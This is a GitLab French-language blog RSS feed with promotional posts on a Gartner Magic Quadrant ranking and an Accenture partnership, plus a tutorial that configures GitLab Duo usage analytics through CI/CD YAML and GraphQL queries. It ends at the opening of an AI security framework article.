<?xml version="1.0" encoding="utf-8"?>
<feed xmlns="http://www.w3.org/2005/Atom">
    <id>https://about.gitlab.com/blog</id>
    <title>GitLab</title>
    <updated>2025-09-24T20:58:51.263Z</updated>
    <generator>https://github.com/jpmonette/feed</generator>
    <author>
        <name>The GitLab Team</name>
    </author>
    <link rel="alternate" href="https://about.gitlab.com/blog"/>
    <link rel="self" href="https://about.gitlab.com/fr-fr/atom.xml"/>
    <subtitle>GitLab Blog RSS feed</subtitle>
    <icon>https://about.gitlab.com/favicon.ico</icon>
    <rights>All rights reserved 2025</rights>
    <entry>
        <title type="html"><![CDATA[GitLab nommée Leader dans le Magic Quadrant 2025 de Gartner dédié aux assistants IA pour le code]]></title>
        <id>https://about.gitlab.com/fr-fr/blog/gitlab-named-a-leader-in-the-2025-gartner-magic-quadrant-for-ai-code-assistants/</id>
        <link href="https://about.gitlab.com/fr-fr/blog/gitlab-named-a-leader-in-the-2025-gartner-magic-quadrant-for-ai-code-assistants/"/>
        <updated>2025-09-17T00:00:00.000Z</updated>
        <content type="html"><![CDATA[<p>Pour la deuxième fois consécutive, GitLab se distingue comme Leader dans le rapport Magic Quadrant™ 2025 de Gartner® dédié aux assistants IA pour le code. Cette distinction confirme un pilier essentiel de notre stratégie d'IA globale : l'évolution de l'assistance intelligente dédiée au code vers une IA complète qui transforme la façon dont les équipes planifient, développent, sécurisent et déploient leurs logiciels.</p>
<p><img src="https://res.cloudinary.com/about-gitlab-com/image/upload/v1758121248/jfkmhddve6qvlg79xico.png" alt="Rapport Magic Quadrant™ 2025 de Gartner® dédié aux assistants IA pour le code"></p>
<blockquote>
<p><a href="https://about.gitlab.com/gartner-mq-ai-code-assistants/">Téléchargez le rapport complet.</a></p>
</blockquote>
<h2>De l'IA à une collaboration intelligente</h2>
<p>L'évaluation de Gartner s'est concentrée sur les capacités d'assistance pour le code par IA générative de <a href="https://about.gitlab.com/fr-fr/gitlab-duo/" title="GitLab Duo">GitLab Duo</a>. Initialement conçu comme un module d'IA complémentaire à la plateforme <a href="https://about.gitlab.com/fr-fr/topics/devsecops/" title="Qu'est-ce que le DevSecOps ?">DevSecOps</a> de GitLab, GitLab Duo a posé les fondations de notre vision actuelle : une IA agentique intégrée nativement à la plateforme DevSecOps de GitLab.</p>
<p><a href="https://about.gitlab.com/fr-fr/gitlab-duo/agent-platform/">GitLab Duo Agent Platform</a> permet aux équipes de développement de collaborer avec plusieurs agents d'IA qui automatisent des tâches tout au long du cycle de développement logiciel. Ces agents interagissent entre eux et avec les équipes de développement à l'aide du graphe de connaissances de GitLab afin d'avoir une compréhension complète du contexte du projet. Les équipes gagnent ainsi en rapidité tout en conservant visibilité et contrôle sur leurs processus.</p>
<ul>
<li><strong>Des agents spécialisés</strong> prennent en charge simultanément diverses tâches : génération de code, analyse de sécurité et recherche.</li>
<li><strong>Le graphe de connaissances</strong> connecte les agents à un système de référence unifié qui couvre le code, les tickets, les pipelines et les données de conformité.</li>
<li><strong>La collaboration entre humains et agents</strong> s'effectue par le biais d'un chat en langage naturel et de flows personnalisables, avec validation et supervision intégrées.</li>
<li><strong>L'interopérabilité avec les outils et les systèmes externes</strong> est assurée grâce au Model Context Protocol (MCP) et aux frameworks Agent2Agent (A2A).</li>
</ul>
<p>Étant donné que les agents gèrent les tâches routinières sous supervision humaine, les équipes peuvent accélérer leur cadence, se concentrer sur les activités à forte valeur ajoutée et maintenir la sécurité et la conformité de leurs projets.</p>
<h2>Conception sécurisée et pratique flexible</h2>
<p>GitLab Duo Agent Platform place la <a href="https://about.gitlab.com/fr-fr/solutions/security-compliance/">sécurité et la conformité</a> au premier plan. Les agents s'exécutent dans l'environnement DevSecOps sécurisé de GitLab, et chaque action peut être suivie et vérifiée avant application des modifications. Les intégrations sécurisées garantissent une gestion sûre des identifiants et données sensibles, tandis que l'interopérabilité via des standards ouverts connecte les agents aux outils externes sans exposer l'entreprise à des risques.</p>
<p>La plateforme donne aux équipes l'assurance que l'IA améliore leur productivité sans nuire à la gouvernance.</p>
<p>Voici comment chaque partie prenante en bénéficie :</p>
<ul>
<li><strong>Les équipes de développement</strong> se concentrent sur les tâches complexes à fort impact et délèguent les tâches routinières aux agents pour des résultats plus rapides et un contexte plus précis directement dans leurs workflows existants.</li>
<li><strong>Les responsables en ingénierie</strong> gagnent en visibilité sur l'évolution des tâches tout au long du cycle de développement logiciel, car les agents opèrent dans un cadre clairement défini. Ils s'assurent que leurs équipes se concentrent sur les priorités et simplifient l'intégration des nouveaux arrivants à l'aide des agents, qui ont accès au contexte et aux workflows.</li>
<li><strong>Les entreprises informatiques</strong> conservent le contrôle sur l'activité des agents grâce aux fonctionnalités de gouvernance qui appliquent les politiques de codage et de sécurité, offrent une flexibilité dans le choix des modèles et assurent une interopérabilité sécurisée avec une supervision humaine de bout en bout.</li>
</ul>
<h2>À la pointe du développement avec l’IA native</h2>
<p>GitLab poursuit le développement de GitLab Duo et ajoutera de nouveaux agents, des workflows avancés et des capacités d'orchestration étendues à GitLab Duo Agent Platform. Cet engagement en faveur de l'innovation renforce la productivité de vos équipes sur la plateforme que vous connaissez et en laquelle vous avez confiance. Suivez les mises à jour de notre roadmap et découvrez comment nous révolutionnons le DevSecOps avec l'IA native.</p>
<blockquote>
<p><a href="https://about.gitlab.com/gartner-mq-ai-code-assistants/">Téléchargez le rapport Magic Quadrant™ 2025 de Gartner® dédié aux assistants IA pour le code</a> et <a href="https://about.gitlab.com/fr-fr/gitlab-duo/agent-platform/">essayez GitLab Duo Agent Platform dès aujourd'hui</a>.</p>
</blockquote>
<p><em>Source : Gartner, Magic Quadrant for AI Code Assistants, Philip Walsh, Haritha Khandabattu, Matt Brasier, Keith Holloway, Arun Batchu, 15 septembre 2025</em></p>
<p><em>GARTNER est une marque déposée et une marque de service de Gartner, Inc. et/ou de ses sociétés affiliées aux États-Unis et à l'étranger, et MAGIC QUADRANT est une marque déposée de Gartner Inc. et/ou de ses sociétés affiliées. Elles sont utilisées ici avec autorisation. Tous droits réservés.</em></p>
<p><em>Gartner ne cautionne aucun fournisseur, produit ou service décrit dans ses publications de recherche, et ne conseille pas aux utilisateurs de la technologie de sélectionner uniquement les fournisseurs ayant les notes les plus élevées ou une autre désignation. Les publications de recherche de Gartner reflètent les opinions de l'organisation de recherche de Gartner et ne doivent pas être interprétées comme des déclarations de fait. Gartner décline toute garantie, expresse ou implicite, à l'égard de cette recherche, y compris toute garantie de qualité marchande ou d'adéquation à un usage particulier.</em></p>
<p><em>Ce graphique a été publié par Gartner Inc. dans le cadre d'un rapport plus vaste et doit être évalué dans le contexte de l'ensemble du document. Le document Gartner est disponible sur demande auprès de Gartner B.V.</em></p>
]]></content>
        <author>
            <name>Manav Khurana</name>
            <uri>https://about.gitlab.com/blog/authors/manav-khurana</uri>
        </author>
        <published>2025-09-17T00:00:00.000Z</published>
    </entry>
    <entry>
        <title type="html"><![CDATA[GitLab et Accenture annoncent un accord mondial de distribution]]></title>
        <id>https://about.gitlab.com/fr-fr/blog/gitlab-and-accenture-announce-global-reseller-agreement/</id>
        <link href="https://about.gitlab.com/fr-fr/blog/gitlab-and-accenture-announce-global-reseller-agreement/"/>
        <updated>2025-09-15T00:00:00.000Z</updated>
        <content type="html"><![CDATA[<p>Nous sommes ravis d'annoncer que GitLab et Accenture ont signé un accord de distribution mondial, faisant d'Accenture un distributeur agréé GitLab et un fournisseur de services professionnels. Cet accord permet à Accenture de proposer la plateforme DevSecOps complète de GitLab directement à ses clients via plusieurs canaux de distribution, y compris AWS Marketplace.</p>
<h2>Une étape importante dans notre collaboration</h2>
<p>Cette collaboration associe la plateforme DevSecOps complète et intelligente de GitLab à l'expertise approfondie d'Accenture en matière de transformation numérique et de services de mise en œuvre, permettant aux organisations de créer et de livrer des logiciels sécurisés à grande échelle. Cet accord mondial fournit un cadre global qui peut être facilement adapté localement.</p>
<p>Cette collaboration se concentrera dans un premier temps sur plusieurs domaines clés :</p>
<ul>
<li><strong>La transformation DevSecOps à l'échelle de l'entreprise :</strong> aider les organisations à moderniser leurs pratiques de développement et à rationaliser leur cycle de livraison de logiciels</li>
<li><strong>La modernisation des mainframes :</strong> accompagner les organisations à migrer depuis leurs systèmes hérités</li>
<li><strong>GitLab Duo combiné à Amazon Q :</strong> proposer le développement logiciel piloté par l'IA aux organisations qui cherchent à accélérer leur vitesse de développement tout en maintenant la sécurité et la conformité de bout en bout</li>
</ul>
<h2>Perspectives d'avenir</h2>
<p>Nous sommes impatients d'aider nos clients communs à accélérer l'innovation, à rationaliser leurs processus de développement et à renforcer leur posture de sécurité afin d’atteindre plus efficacement leurs objectifs commerciaux.</p>
<p>Pour plus d'informations sur la façon dont GitLab et Accenture peuvent aider votre organisation, consultez <a href="https://about.gitlab.com/partners/channel-partners/#/2328213">notre site partenaire</a> ou contactez votre représentant Accenture ou GitLab.</p>
]]></content>
        <author>
            <name>GitLab</name>
            <uri>https://about.gitlab.com/blog/authors/gitlab</uri>
        </author>
        <author>
            <name>GitLab France Team</name>
            <uri>https://about.gitlab.com/blog/authors/gitlab-france team</uri>
        </author>
        <published>2025-09-15T00:00:00.000Z</published>
    </entry>
    <entry>
        <title type="html"><![CDATA[Mesurez le ROI de l'IA à grande échelle avec GitLab Duo Analytics]]></title>
        <id>https://about.gitlab.com/fr-fr/blog/measuring-ai-roi-at-scale-a-practical-guide-to-gitlab-duo-analytics/</id>
        <link href="https://about.gitlab.com/fr-fr/blog/measuring-ai-roi-at-scale-a-practical-guide-to-gitlab-duo-analytics/"/>
        <updated>2025-09-15T00:00:00.000Z</updated>
        <content type="html"><![CDATA[<p>L'investissement dans l'IA commence par la mesure. Pour construire une plateforme de développement alimentée par l'IA, il faut tout d'abord comprendre l'utilisation réelle, les modèles d'adoption et la valeur métier quantifiable, notamment le retour sur investissement (ROI) de <a href="https://about.gitlab.com/fr-fr/gitlab-duo/">GitLab Duo Enterprise</a>.</p>
<p>Pour aider nos clients à maximiser leurs investissements dans l'IA, nous avons développé la solution GitLab Duo Analytics dans le cadre de notre programme d'accélération GitLab Duo. GitLab Duo Analytics est une solution complète et orientée client qui transforme les données d'utilisation brutes en données métiers exploitables et mesure le ROI. Il s’agit d’un outil d'accompagnement spécialisé que nous avons créé pour répondre aux besoins d'analyse immédiats des entreprises, qui calculent de plus en plus la productivité de l'IA dans son ensemble.</p>
<p>Ces données de base aident à transformer l'IA en profondeur. Par exemple, les entreprises peuvent les utiliser pour optimiser l’attribution des licences, identifier les cas d’utilisation à forte valeur ajoutée et élaborer des business cases convaincants pour renforcer l'adoption de l'IA au sein des équipes de développement.</p>
<p>Une grande entreprise du secteur financier a collaboré avec l’un de nos Customer Success Architect dans le cadre du programme d'accélération GitLab Duo afin d’obtenir une visibilité sur son investissement <a href="https://about.gitlab.com/fr-fr/blog/gitlab-duo-enterprise-is-now-available/">GitLab Duo Enterprise</a>. Ensemble, ils ont mis en œuvre une solution d'analyse hybride qui combine la collecte mensuelle de données avec une intégration API en temps réel, afin de créer une base évolutive pour mesurer les gains de productivité de l'IA et optimiser l'utilisation des licences à l'échelle de l'entreprise.</p>
<h2>Mesurer le ROI de l'IA dans le développement d'entreprise</h2>
<p>Avant de mettre en œuvre une solution d'analyse, il est essentiel de comprendre comment vous évaluez votre utilisation de l'IA.</p>
<p>Posez-vous les questions suivantes :</p>
<ul>
<li><strong>Quelles fonctionnalités de GitLab Duo doivent être évaluées ?</strong> (Suggestions de code, assistance par chat, scanning de sécurité) ?</li>
<li><strong>Qui utilise l'IA au sein de votre entreprise ?</strong> (Développeurs, équipes de sécurité, ingénieurs DevOps) ?</li>
<li><strong>Quels indicateurs métiers sont importants pour votre entreprise ?</strong> (Gain de temps, gains de productivité, optimisation des coûts) ?</li>
<li><strong>Comment fonctionne votre collecte de données actuelle</strong> (Exports manuels, intégration API, outils existants) ?</li>
</ul>
<p>Utilisez cette étape pour définir les éléments suivants :</p>
<ul>
<li>Votre framework de calcul du ROI</li>
<li>Vos indicateurs clés de performance (KPI)</li>
<li>Votre stratégie de collecte de données</li>
<li>Vos exigences de reporting des parties prenantes</li>
</ul>
<h3>Exemple de framework de calcul du ROI</h3>
<p><img src="https://gitlab.com/-/project/54775568/uploads/06da2f5c3a75197cd272aedb3d67a347/image.png" alt="Exemple de framework de calcul du ROI"></p>
<h2>Guide de mise en œuvre étape par étape</h2>
<p>Veuillez noter que la solution ci-dessous décrit une approche <a href="https://about.gitlab.com/fr-fr/blog/what-is-open-source/">open source</a> que vous pouvez déployer gratuitement dans votre propre environnement. Téléchargez, personnalisez et exécutez cette solution dès maintenant !</p>
<h3>Prérequis</h3>
<p><strong>Avant de commencer, assurez-vous de disposer des éléments suivants :</strong></p>
<ul>
<li>Instance GitLab avec GitLab Duo activé</li>
<li>Token API GitLab avec autorisations de lecture</li>
<li>Accès pour configurer les variables CI/CD de GitLab</li>
<li>Connaissances de base des pipelines CI/CD de GitLab</li>
</ul>
<h3>1. Configurer et paramétrer l'environnement initial</h3>
<p>Configurez l'environnement du projet en clonant d'abord le dépôt.</p>
<pre><code class="language-bash">git clone https://gitlab.com/gitlab-org/professional-services-automation/tools/utilities/gitlab-graphql-api.git
cd gitlab-graphql-api
</code></pre>
<p>Effectuez un push vers votre propre instance GitLab ou votre espace de nommage, puis accédez à votre projet dans GitLab pour configurer les <a href="https://about.gitlab.com/fr-fr/blog/demystifying-ci-cd-variables/">variables CI/CD</a>.</p>
<h3>2. Configurer les variables de contrôle du pipeline</h3>
<p>Contrôlez quels pipelines d’analyse s'exécutent en définissant les variables CI/CD du projet. Allez dans <strong>Paramètres du projet → CI/CD → Variables</strong> et ajoutez :</p>
<table>
<thead>
<tr>
<th>Variable</th>
<th>Défaut</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td><code>ENABLE_DUO_METRICS</code></td>
<td>&quot;true&quot;</td>
<td>Activer/désactiver le pipeline de métriques GitLab Duo AI</td>
</tr>
<tr>
<td><code>ENABLE_PROJECT_METRICS</code></td>
<td>&quot;false&quot;</td>
<td>Activer/désactiver le pipeline de métriques de projet traditionnel</td>
</tr>
</tbody>
</table>
<h4>Exemples de configurations :</h4>
<ul>
<li><strong>Configurer GitLab Duo uniquement</strong> : <code>ENABLE_DUO_METRICS=&quot;true&quot;</code>, <code>ENABLE_PROJECT_METRICS=&quot;false&quot;</code></li>
<li><strong>Configurer les deux tableaux de bord</strong> : <code>ENABLE_DUO_METRICS=&quot;true&quot;</code>, <code>ENABLE_PROJECT_METRICS=&quot;true&quot;</code></li>
<li><strong>Tout désactiver</strong> : <code>ENABLE_DUO_METRICS=&quot;false&quot;</code>, <code>ENABLE_PROJECT_METRICS=&quot;false&quot;</code></li>
</ul>
<h3>3. Configurer l’ingestion des données</h3>
<p>Configurez l'ingestion des données dans votre fichier <code>.gitlab-ci.yml</code>. Cette action crée des métadonnées de projet brutes partagées entre les métriques.</p>
<h4>Variables de configuration de base :</h4>
<pre><code class="language-yaml">variables:
  GROUP_PATH: &quot;gitlab-org/professional-services-automation&quot;  # Your group path
  INCLUDE_SIMPLE_FIELDS: &quot;fullPath,name,description&quot;  # Fields to fetch
  ARGUMENT_FIELDS: &quot;mergeRequests&quot;  # Argument fields requiring additional config
  LIMIT: &quot;100&quot;  # Projects per API call
  MAX_ITERATIONS: &quot;2&quot;  # Maximum API calls (for testing)
  GITLAB_GRAPHQL_API_VERSION: &quot;0.1.0&quot;  # API version from Package Registry
</code></pre>
<h4>Configurer les champs d'argument pour des métriques spécifiques :</h4>
<p>Pour chaque métrique que vous souhaitez collecter, définissez des variables de champ d'argument :</p>
<pre><code class="language-yaml"># Example: Merged Merge Requests
ARGUMENT_FIELD_1_NAME: &quot;mergeRequests&quot;
ARGUMENT_FIELD_1_FILTER_NAME: &quot;state&quot;
ARGUMENT_FIELD_1_FILTER_VALUE: &quot;merged&quot;
ARGUMENT_FIELD_1_RETURN_VALUES: &quot;count totalTimeToMerge&quot;

# Example: Packages Count
ARGUMENT_FIELD_2_NAME: &quot;packages&quot;
ARGUMENT_FIELD_2_RETURN_VALUES: &quot;count&quot;
</code></pre>
<h3>4. Configurer l'agrégation des métriques</h3>
<p>Après l'ingestion des données, configurez les règles d'agrégation dans <code>.gitlab/Schedule.gitlab-ci.yml</code> pour chaque métrique que vous souhaitez générer.</p>
<h4>Exemple de configuration de job de métrique :</h4>
<pre><code class="language-yaml">process_average_time_to_merge:
  &lt;&lt;: *process_data_template
  stage: process_data
  variables:
    METRIC_NAME: &quot;9_Average_Time_To_Merge&quot;
    BUSINESS_LEVEL_START: 2
    BUSINESS_LEVEL_END: 4
    AGGREGATE_COLUMNS: &quot;mergeRequests_state_merged_totalTimeToMerge:sum mergeRequests_state_merged_count:sum&quot;
    NEW_COLUMN_NAME: &quot;average_time_to_merge_days&quot;
    NEW_COLUMN_FORMULA: &quot;mergeRequests_state_merged_totalTimeToMerge / mergeRequests_state_merged_count / (24 * 60 * 60)&quot;
    SORT_BY: &quot;average_time_to_merge_days&quot;
    FILTER_CONDITION: &quot;mergeRequests_state_merged_count &gt;= 5&quot;
</code></pre>
<h4>Variables requises pour chaque métrique :</h4>
<table>
<thead>
<tr>
<th>Variable</th>
<th>Description</th>
<th>Exemple</th>
</tr>
</thead>
<tbody>
<tr>
<td><code>METRIC_NAME</code></td>
<td>Nom de la métrique (utilisé dans le nommage des fichiers)</td>
<td>&quot;9_Average_Time_To_Merge&quot;</td>
</tr>
<tr>
<td><code>BUSINESS_LEVEL_START</code></td>
<td>Niveau de départ pour la hiérarchie métier</td>
<td>1</td>
</tr>
<tr>
<td><code>BUSINESS_LEVEL_END</code></td>
<td>Niveau final pour la hiérarchie métier</td>
<td>3</td>
</tr>
<tr>
<td><code>AGGREGATE_COLUMNS</code></td>
<td>Colonnes à agréger avec fonction</td>
<td>&quot;mergeRequests_state_merged_count:sum&quot;</td>
</tr>
<tr>
<td><code>SORT_BY</code></td>
<td>Colonne pour trier les résultats</td>
<td>&quot;average_time_to_merge_days&quot;</td>
</tr>
</tbody>
</table>
<h3>5. Exécuter le pipeline planifié pour configurer l’analyse</h3>
<p>Une fois configuré, exécutez un pipeline planifié pour générer votre analyse :</p>
<ol>
<li>Allez dans <strong>CI/CD → Planifications</strong></li>
<li>Créez une nouvelle planification ou exécutez-en une existante</li>
<li>Le pipeline va automatiquement :</li>
</ol>
<ul>
<li>Ingérer les données selon votre configuration</li>
<li>Agréger les métriques selon vos règles</li>
<li>Déployer les tableaux de bord sur GitLab Pages</li>
</ul>
<h3>6. Accéder à vos tableaux de bord d’analyse</h3>
<p>Après l'exécution réussie du pipeline planifié, GitLab Pages déploie automatiquement vos tableaux de bord :</p>
<ul>
<li><strong>Tableau de bord des métriques de projet</strong>: <code>https://your-username.gitlab.io/project-name/existing-metrics/</code></li>
<li><strong>Tableau de bord des métriques GitLab Duo</strong>: <code>https://your-username.gitlab.io/project-name/duo-metrics/</code></li>
<li><strong>Page d'accueil principale</strong>: <code>https://your-username.gitlab.io/project-name/</code></li>
</ul>
<p>La page d'accueil principale détecte automatiquement quels tableaux de bord sont disponibles et affiche les liens appropriés.</p>
<p>Vous verrez les éléments suivants :</p>
<ul>
<li>Utilisation des licences : nombre total d’utilisateurs sous licence par rapport au nombre d’utilisateurs actifs (avec analyse des suggestions de code)</li>
</ul>
<p><img src="https://res.cloudinary.com/about-gitlab-com/image/upload/v1754478265/nhbukcflhmghs5jatrip.png" alt="Tableau de bord de GitLab Duo Analytics"></p>
<ul>
<li>
<p>Analyse de GitLab Duo Chat : utilisateurs uniques de GitLab Duo Chat, moyenne des événements du chat sur 90 jours et taux d'adoption du chat</p>
</li>
<li>
<p>Analyse d'engagement de GitLab Duo : catégorisation de l'utilisation de GitLab Duo pour un groupe d'utilisateurs comme Fort (10+ suggestions), Moyen (5-9) ou Faible (1-4) selon les modèles d'utilisation</p>
</li>
</ul>
<p><img src="https://res.cloudinary.com/about-gitlab-com/image/upload/v1754478265/xgq05hh2ybzb8ugsxqza.png" alt="Analyse de GitLab Duo Chat sur les 90 derniers jours"></p>
<ul>
<li>Analyse de l'utilisation : suggestions de code par langage de programmation (répartition par langage), analyse des performances des langages de suggestions de code (taux d'acceptation et de rejet)</li>
</ul>
<p><img src="https://res.cloudinary.com/about-gitlab-com/image/upload/v1754478265/mu3dx5g2l2lki2ehlr2g.png" alt="Vue d'adoption de l'analyse de l'utilisation de GitLab Duo"></p>
<p><img src="https://res.cloudinary.com/about-gitlab-com/image/upload/v1754478267/xf0thn8sm4dlhoyyqg9i.png" alt="Analyse des performances par langage"></p>
<ul>
<li>Tendances hebdomadaires de GitLab Duo Chat : modèles d'utilisation de GitLab Duo Chat</li>
</ul>
<p><img src="https://res.cloudinary.com/about-gitlab-com/image/upload/v1754478265/plhycnmewye3vp6vitqj.png" alt="Tendances d'utilisation quotidienne de GitLab Duo Chat"></p>
<h4>Les fonctionnalités du tableau de bord incluent :</h4>
<ul>
<li><strong>L’analyse de l'utilisation des licences</strong> - Suivi des utilisateurs sous licence par rapport aux utilisateurs actifs</li>
<li><strong>Analyse des suggestions de code</strong> - Suivi des taux d'acceptation et de la répartition des langages</li>
<li><strong>Analyse de GitLab Duo Chat</strong> - Affichage des interactions par chat et des taux d'adoption</li>
<li><strong>Analyse de l’engagement des utilisateurs</strong> - Catégorisation des utilisateurs par niveau d'activité</li>
<li><strong>Analyse des performance par langage</strong> - Analyse des taux d'acceptation par langage de programmation</li>
</ul>
<h3>7. Comprendre les API utilisées</h3>
<p>La solution exploite plusieurs API GitLab pour collecter des données d'utilisation complètes :</p>
<h4>API pour collecter les données d'utilisation de l'IA (aiUsageData)</h4>
<pre><code class="language-graphql"># Fetches individual code suggestion events
query: |
  {
    group(fullPath: &quot;your-group&quot;) {
      aiUsageData {
        codeSuggestionEvents {
          event         # ACCEPTED or SHOWN
          timestamp     # When it happened
          language      # Programming language
          suggestionSize # SINGLE_LINE or MULTI_LINE
          user { username }
        }
      }
    }
  }
# Purpose: Tracks every code suggestion shown or accepted by developers
</code></pre>
<h4>API pour collecter les utilisateurs du module d'extension GitLab Self-Managed</h4>
<pre><code class="language-graphql"># Gets licensed user information
query: |
  {
    selfManagedAddOnEligibleUsers(
      addOnType: DUO_ENTERPRISE
      filterByAssignedSeat: &quot;Yes&quot;
    ) {
      user {
        username
        lastDuoActivityOn
      }
    }
  }
# Purpose: Identifies who has licenses and when they last used Duo
</code></pre>
<h4>API pour collecter les métriques d'IA</h4>
<pre><code class="language-graphql">query: |
  {
    aiMetrics(from: &quot;2024-01-01&quot;, to: &quot;2024-06-30&quot;) {
      codeSuggestions {
        shownCount
        acceptedCount
      }
      duoChatContributorsCount
      duoAssignedUsersCount
    }
  }
# Purpose: Gets pre-calculated metrics for trend analysis
</code></pre>
<h4>API pour collecter le Ping de Service (REST)</h4>
<pre><code class="language-bash">url: &quot;{GITLAB_URL}/api/v4/usage_data/service_ping&quot; 
# Purpose: Collects instance-wide usage statistics 
</code></pre>
<h2>Mise en pratique complète</h2>
<p>Pour démontrer la puissance de cette solution d'analyse intégrée, parcourons ensemble toutes les étapes d'une implémentation complète, du déploiement initial au calcul automatisé du ROI.</p>
<p>Commencez par déployer la solution conteneurisée dans votre environnement avec la configuration Docker fournie. En quelques minutes, l'API d'analyse et le tableau de bord React seront opérationnels localement.</p>
<p>L'architecture de données hybride commence immédiatement à collecter des métriques à partir de vos exports CSV mensuels existants et établit des connexions GraphQL en temps réel vers votre instance GitLab.</p>
<p><strong>Automatisation via les scripts Python</strong></p>
<p>Cette approche déploie toute sa puissance lorsque vous exploitez les scripts Python pour automatiser l'ensemble du workflow de collecte et de traitement des données. La solution comprend des scripts Python complets qui peuvent être facilement personnalisés et planifiés.</p>
<p><strong>Intégration GitLab CI/CD</strong></p>
<p>Pour une automatisation à l'échelle de l'entreprise, intégrez ces scripts Python dans des <a href="https://about.gitlab.com/fr-fr/topics/ci-cd/cicd-pipeline/">pipelines CI/CD</a> planifiés. Cette approche exploite votre infrastructure GitLab existante et garantit une collecte de données cohérente et fiable :</p>
<pre><code class="language-yaml">
# .gitlab-ci.yml example

duo_analytics_collection:
  stage: analytics
  script:
    - python scripts/enhanced_duo_data_collection.py
    - python scripts/metric_aggregations.py
    - ./deploy_dashboard_updates.sh
  schedule:
    - cron: &quot;0 2 1 * *&quot;  # Monthly on 1st at 2 AM
  only:
    - schedules
</code></pre>
<p>Cette stratégie d'automatisation transforme la collecte manuelle de données en un moteur d'analyse autonome. Vos scripts Python s'exécutent mensuellement via les pipelines <a href="https://about.gitlab.com/fr-fr/topics/ci-cd/">CI/CD</a> de GitLab, collectent automatiquement les données d'utilisation, calculent les métriques de ROI et mettent à jour les tableaux de bord, le tout sans intervention manuelle.</p>
<p>Une fois automatisée, la solution fonctionne de manière fluide : les pipelines planifiés exécutent les scripts de collecte de données Python, traitent les réponses GraphQL en indicateurs commerciaux et mettent à jour les données du tableau de bord. Vous découvrirez ainsi de véritables modèles d'utilisation dans le tableau de bord comme les volumes de suggestions de code par langage de programmation, les tendances d'adoption des utilisateurs entre les équipes et le taux d'utilisation des licences.</p>
<p>Dans le tableau de bord, la vue d'ensemble du ROI est ici le véritable atout. Vous y trouverez des métriques d'engagement concrètes qui peuvent être converties en impact commercial pour votre entreprise : vous découvrirez peut-être que vos utilisateurs actifs de GitLab Duo génèrent un ROI mensuel de 127 % grâce à des gains de temps et de productivité, tandis que 23 % de vos licences restent sous-utilisées.</p>
<p>Ces informations se traduisent immédiatement en recommandations concrètes : vous pouvez ainsi fournir des licences aux équipes les plus performantes, mettre en place une formation ciblée pour les utilisateurs avec des licences sous-utilisées et élaborer des arguments commerciaux basés sur les données pour une adoption plus large de l'IA.</p>
<h2>Pourquoi choisir GitLab ?</h2>
<p>La plateforme <a href="https://about.gitlab.com/fr-fr/topics/devsecops/">DevSecOps</a> complète de GitLab fournit la base idéale pour l'analyse et l'évaluation de l'IA en entreprise. Avec des API GraphQL natives, un accès flexible aux données et des capacités d’IA intégrées via GitLab Duo, les entreprises peuvent centraliser l'évaluation de l'IA tout au long du cycle de développement logiciel sans perturber les workflows existants.</p>
<p>L'architecture ouverte de la solution permet des solutions d'analyse personnalisées comme celle développée dans le cadre de notre programme d'accélération GitLab Duo. L'engagement de GitLab en faveur d’une conception API-first signifie que vous pouvez extraire des données d'utilisation détaillées, intégrer avec les systèmes d'entreprise existants et élaborer des calculs de ROI sophistiqués qui s'alignent sur des métriques spécifiques et les exigences de création de rapports de votre organisation.</p>
<p>Au-delà des capacités techniques, notre approche garantit que vous ne faites pas que mettre en œuvre des outils, vous élaborez également des stratégies d'adoption de l'IA durables. Cette solution conçue spécialement dans le cadre du programme d'accélération GitLab Duo illustre parfaitement cette approche avec des conseils pratiques, des frameworks éprouvés et des solutions personnalisées qui répondent à de véritables défis comme le calcul du ROI et l'optimisation des licences.</p>
<p>À mesure que GitLab continue d'améliorer ses capacités d'analyse avec l'IA native, cette approche n'en est que plus précieuse. Les frameworks de calcul, les indicateurs clés de performance et les processus de collecte de données établis via des solutions d'analyse personnalisées s'intègrent de manière transparente aux fonctionnalités natives améliorées et garantissent que votre investissement dans l'évaluation de l'IA évolue au même rythme que GitLab.</p>
<h2>Essayez GitLab Duo dès aujourd'hui</h2>
<p>Le calcul du ROI de l'IA n'est qu’un début. Avec les fonctionnalités de GitLab Duo, vous pouvez obtenir une analyse complète qui suit non seulement l'utilisation de l'IA, mais sert aussi de base pour une optimisation basée sur les données. Cette base peut ensuite évoluer avec la croissance de votre entreprise et avec les capacités d'IA en pleine expansion de GitLab.</p>
<p>La solution d'analyse développée dans le cadre du programme d'accélération de GitLab Duo démontre comment les partenariats axés sur la réussite client peuvent apporter une valeur immédiate et des avantages stratégiques à long terme. Du déploiement initial au calcul du ROI à l'échelle de l'entreprise, cette solution offre la visibilité et les données nécessaires pour maximiser les investissements dans l’IA et favoriser son adoption durable.</p>
<p>La combinaison de l'automatisation Python, de l'intégration GitLab CI/CD et de l'analyse sur mesure crée un avantage concurrentiel qui s'étend bien au-delà de la productivité individuelle des équipes de développement. Elle permet une prise de décision stratégique, optimise l'allocation des ressources et fournit des arguments commerciaux convaincants pour un investissement et une expansion continus de l'IA.</p>
<p>L'avenir du développement alimenté par l'IA est basé sur les données, et commence par une évaluation approfondie. Que vous commenciez votre parcours dans l’IA ou que vous optimisiez des investissements existants, GitLab fournit à la fois la plateforme et la base du partenariat nécessaires pour réussir.</p>
<blockquote>
<p>Lancez-vous dès aujourd'hui avec GitLab Duo et profitez d'un <a href="https://about.gitlab.com/fr-fr/gitlab-duo/">essai gratuit de GitLab Ultimate avec GitLab Duo Enterprise</a>.</p>
</blockquote>
]]></content>
        <author>
            <name>Paul Meresanu</name>
            <uri>https://about.gitlab.com/blog/authors/paul-meresanu</uri>
        </author>
        <published>2025-09-15T00:00:00.000Z</published>
    </entry>
    <entry>
        <title type="html"><![CDATA[Sécurité et IA : tout savoir sur le framework de GitLab]]></title>
        <id>https://about.gitlab.com/fr-fr/blog/the-gitlab-ai-security-framework-for-security-leaders/</id>
        <link href="https://about.gitlab.com/fr-fr/blog/the-gitlab-ai-security-framework-for-security-leaders/"/>
        <updated>2025-09-11T00:00:00.000Z</updated>
        <content type="html"><![CDATA[<p>Alors que les entreprises adoptent rapidement les technologies d'IA, les responsables de la sécurité des systèmes d'information (RSSI) font face à de nouveaux défis en matière de sécurité. De nombreux RSSI sont en effet confrontés à des questions inédites : comment évaluer les fournisseurs d'IA par rapport aux fournisseurs de logiciels traditionnels ? Quels sont les contrôles de sécurité les plus importants ? Où s'arrête la responsabilité du fournisseur et où commence celle du client ? Comment évaluer les risques de sécurité liés à l'IA dans le contexte du service fourni ?</p>
